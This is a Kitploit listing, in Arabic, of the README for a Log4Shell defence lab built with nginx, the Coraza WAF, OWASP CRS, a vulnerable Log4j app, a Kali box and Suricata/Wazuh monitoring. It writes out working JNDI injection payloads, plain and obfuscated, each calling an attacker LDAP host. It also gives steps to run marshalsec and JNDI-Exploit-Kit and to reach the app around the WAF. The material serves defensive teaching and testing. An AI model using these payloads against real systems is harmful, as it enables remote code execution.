Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
log4shell-coraza — مختبر دفاع Log4Shell (CVE-2021-44228) — nginx + الوحدة الديناميكية لـ Coraza WAF + OWASP CRS v4. للاستخدام التعليمي فقط. | Kitploit
أدوات/GitHubGitHub/tieupham267/log4shell-coraza
أدوات دفاعيةماسحات الثغرات الأمنيةالاستغلالالتهرب من IDS/IPSتجاوز WAFأمن الويباختبار الاختراقكشف التسللالتعلم والتعليمتحليل السجلاتمختبرات وتدريب عملي
25منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
GitHub
tieupham267/log4shell-coraza

log4shell-coraza

مختبر دفاع Log4Shell (CVE-2021-44228) — nginx + الوحدة الديناميكية لـ Coraza WAF + OWASP CRS v4. للاستخدام التعليمي فقط.

عرض المستودع
مشاركة

مختبر أمان Log4Shell — nginx + Coraza WAF

غرض تعليمي / دفاعي: يحتوي هذا المختبر على تطبيق ضعيف عمدًا (Log4j 2.14.1) ومجموعة أدوات استغلال JNDI، يُستخدم فقط لتعلم كيفية اكتشاف وحظر Log4Shell في بيئة معزولة. لا تنشره على الإنترنت، ولا تستخدمه لمهاجمة أنظمة لا تملكها.

مختبر عملي دفاعي لـ Log4Shell (CVE-2021-44228) باستخدام nginx المدمج مع Coraza WAF (وحدة ديناميكية) + OWASP CRS v4 + مجموعة قواعد مخصصة لـ JNDI. يتضمن حاوية هدف Spring Boot ضعيفة، وصندوق مهاجم Kali، و Suricata + Wazuh للمراقبة.


1. البنية

المضيف (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24، مواجه خارجي)
│   ├── nginx-proxy              ← نقطة الدخول :80/:443، مع وحدة Coraza + CRS v4
│   ├── attacker-box             ← Kali + أدوات استغلال JNDI
│   └── suricata-ids             ← يراقب حركة dmz
│
└── backend-net (172.22.0.0/24، داخلي: true)
    ├── nginx-proxy              ← واجهة شبكة ثانية
    ├── log4shell-app            ← Spring Boot Log4j 2.14.1
    ├── wazuh-manager            ← SIEM
    └── wazuh-dashboard          ← واجهة مستخدم

تدفق الطلب: العميل → nginx (فحص Coraza) → log4shell-app. يعمل WAF داخل nginx (عبر وحدة ngx_http_coraza_module.so)، وليس كحاوية منفصلة.


2. المتطلبات

العنصرالإصدار الأدنى
Docker Desktop / Engine24+ مع Compose v2
ذاكرة وصول عشوائي خالية4 جيجابايت (Wazuh يستهلك ~1.5 جيجابايت)
مساحة قرص خالية6 جيجابايت (قطع بناء الصور)
وقت البناء الأول10–15 دقيقة (libcoraza + وحدة nginx + أدوات Maven للمهاجم)

3. التشغيل الأولي — التشغيل لأول مرة

الخطوة 3.1 — بناء الصور

cd /path/to/log4shell-nginx-coraza
docker compose build

المرحلة الأبطأ هي nginx (بناء libcoraza v1.4.0 باستخدام Go 1.25، ثم تجميع وحدة coraza-nginx). يتم التخزين المؤقت بعد المرة الأولى.

الخطوة 3.2 — بدء الحزمة

docker compose up -d
docker compose ps

بعد ~30 ثانية، الحالة المتوقعة:

الخدمةالحالة
nginx-proxyUp (سليم)
victim-appUp
kali-attackerUp
wazuh-siem, wazuh-webUp
suricata-idsقد يكون Restarting (انظر القسم 8 — لا يعطل المختبر)

الخطوة 3.3 — اختبار سريع

# اختبار حيوية nginx
curl http://localhost/health
# → "nginx proxy healthy"

# عبر WAF إلى التطبيق (نقطة النهاية الحقيقية للتطبيق الضعيف)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"

curl http://localhost/ بدون رأس X-Api-Version سيعيد 400 — هذا خطأ whitelabel من Spring Boot (لا يوجد معالج)، ليس حظرًا من WAF.


4. اختبار حظر WAF لـ Log4Shell

الخطوة 4.1 — حمولة أساسية

# JNDI في User-Agent → يتم تشغيل القاعدة 1910010، 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/

# JNDI في رأس يسجله التطبيق: X-Api-Version → يتم تشغيل القاعدة 1910001 (رأس+وسيطة)، 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/

# JNDI في سلسلة الاستعلام → CRS المرحلة 1 يحظر
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'

متوقع: HTTP/1.1 403 Forbidden، الجسم <html>... 403 Forbidden ... nginx ...</html>.

الخطوة 4.2 — حمولة مبهمة

# خدعة الأحرف الصغيرة (القاعدة 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/

# خدعة النقطتين-الشرطة-الشرطة (القاعدة 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/

الخطوة 4.3 — حمولة جسم JSON

curl -i -X POST -H 'Content-Type: application/json' \
  -d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
  http://localhost/api/log
# → 403 (القاعدة 1910026: Content-Type=json + الجسم يحتوي على jndi)

5. فحص سجلات WAF

سجل تدقيق Coraza (JSON)

docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
    try:
        d=json.loads(ln)
        t=d['transaction']
        ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
        st=t['response']['status']
        for m in t.get('messages') or []:
            print(f'{st}  {ua}  ::  {m[\"error_message\"][:160]}')
    except: pass
"

كل حدث JSON Lines، يحتوي على:

  • transaction.is_interrupted: true → WAF حظر
  • messages[].error_message → أي قاعدة تم تشغيلها، اسم الملف ورقم السطر، الخطورة

سجل الوصول nginx

docker exec nginx-proxy tail -f /var/log/nginx/access.log

تصفية الحظر:

docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'

نقاط التثبيت على المضيف

./logs/nginx/      ← access.log, error.log
./logs/coraza/     ← audit.log (JSON), debug.log

6. سلسلة الاستغلال الفعلية — صندوق المهاجم → تطبيق log4shell

افتراضيًا، يتم تعيين backend-net كـ internal: true ويكون attacker-box فقط في dmz-net، لذا لا يمكن لتطبيق log4shell الوصول إلى صندوق المهاجم. لتشغيل سلسلة JNDI بشكل كامل، قم بالخطوة 6.0 أولاً.

الخطوة 6.0 — السماح لتطبيق log4shell باستدعاء صندوق المهاجم

قم بتعديل docker-compose.yml، أضف attacker-box إلى backend-net:

  attacker-box:
    networks:
      - dmz-net
      - backend-net    # <— أضف

أو انقل تطبيق log4shell إلى dmz-net (أبسط لكن يقلل الجانب التعليمي للتقسيم):

  log4shell-app:
    networks:
      - backend-net
      - dmz-net        # <— أضف

طبق: docker compose up -d (سيعيد Compose إنشاء تلك الحاوية).

الخطوة 6.1 — بدء خادم استغلال JNDI داخل صندوق المهاجم

docker exec -it kali-attacker bash
cd /opt/exploits

# الخيار A: marshalsec — بسيط، يعيد توجيه LDAP→HTTP فقط
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2

# الخيار B: JNDI-Exploit-Kit — مجموعة أدوات كاملة، حمولة "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit

يستمع الخادم على LDAP :1389 و HTTP :8888 (مكشوفة للمضيف في compose).

الخطوة 6.2 — اختبار تجاوز: استدعاء التطبيق مباشرة (بدون WAF) لتأكيد الثغرة

# من صندوق المهاجم، استدعاء تطبيق log4shell مباشرة على backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/

تحقق:

# تم إنشاء علامة الاختراق في حاوية التطبيق
docker exec victim-app ls -la /tmp/pwned

إذا رأيت الملف → سلسلة الاستغلال تعمل، التطبيق لا يزال ضعيفًا، لم يتم تجاوز WAF عند المرور عبر المسار الرئيسي.

الخطوة 6.3 — التحقق من حظر WAF لنفس الحمولة عبر المسار الرئيسي

# المرور عبر nginx (المسار الرئيسي العام)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden، لا يوجد /tmp/pwned جديد

7. تعديل القواعد (بدون حاجة لإعادة البناء)

يتم تثبيت ملف ./coraza/config/log4shell-rules.conf كـ :ro في nginx عند /etc/nginx/coraza/log4shell-rules.conf. بعد التعديل:

docker exec nginx-proxy nginx -t      # فحص الصياغة
docker exec nginx-proxy nginx -s reload

إذا أبلغ Coraza عن خطأ في التحليل (failed to compile the directive...)، ستخرج العمال و nginx -s reload لن يعيد تشغيلها. في هذه الحالة:

docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log

تخطيط القواعد المحملة في WAF

ترتيب التضمين (في nginx/coraza/main.conf، مدمج في الصورة):

  1. إعداد المحرك: SecRuleEngine On، سجل التدقيق، سجل التصحيح
  2. crs-setup.conf — تهيئة tx.*_anomaly_score، العتبة
  3. owasp-crs/rules/*.conf — CRS v4.7.0 بالكامل
  4. log4shell-rules.conf — القواعد المخصصة (مركبة من المضيف)

نطاق معرف القواعد المخصصة: 1910001 – 1910999 (تجنب نطاق CRS 900000–999999).

حدود صياغة Coraza مقابل ModSecurity

  • الخطورة تقبل فقط التعداد القياسي: EMERGENCY، ALERT، CRITICAL، ERROR، WARNING، NOTICE، INFO، DEBUG. HIGH/LOW غير صالحة.
  • المجموعات المستمرة (IP:، SESSION:، RESOURCE:) لا تعمل إذا لم يتم تكوين مخزن دعم. استخدم tx. لكل طلب أو تحديد المعدل عبر nginx limit_req_zone.
  • TX:VARNAME يمكنها فقط الإشارة إلى متغير تم تعيينه بـ setvar في نفس الطلب. إذا كانت القاعدة في مرحلة مختلفة، فكر في دمجها في قاعدة سلسلة.

8. استكشاف الأخطاء وإصلاحها

تنزيل الأداة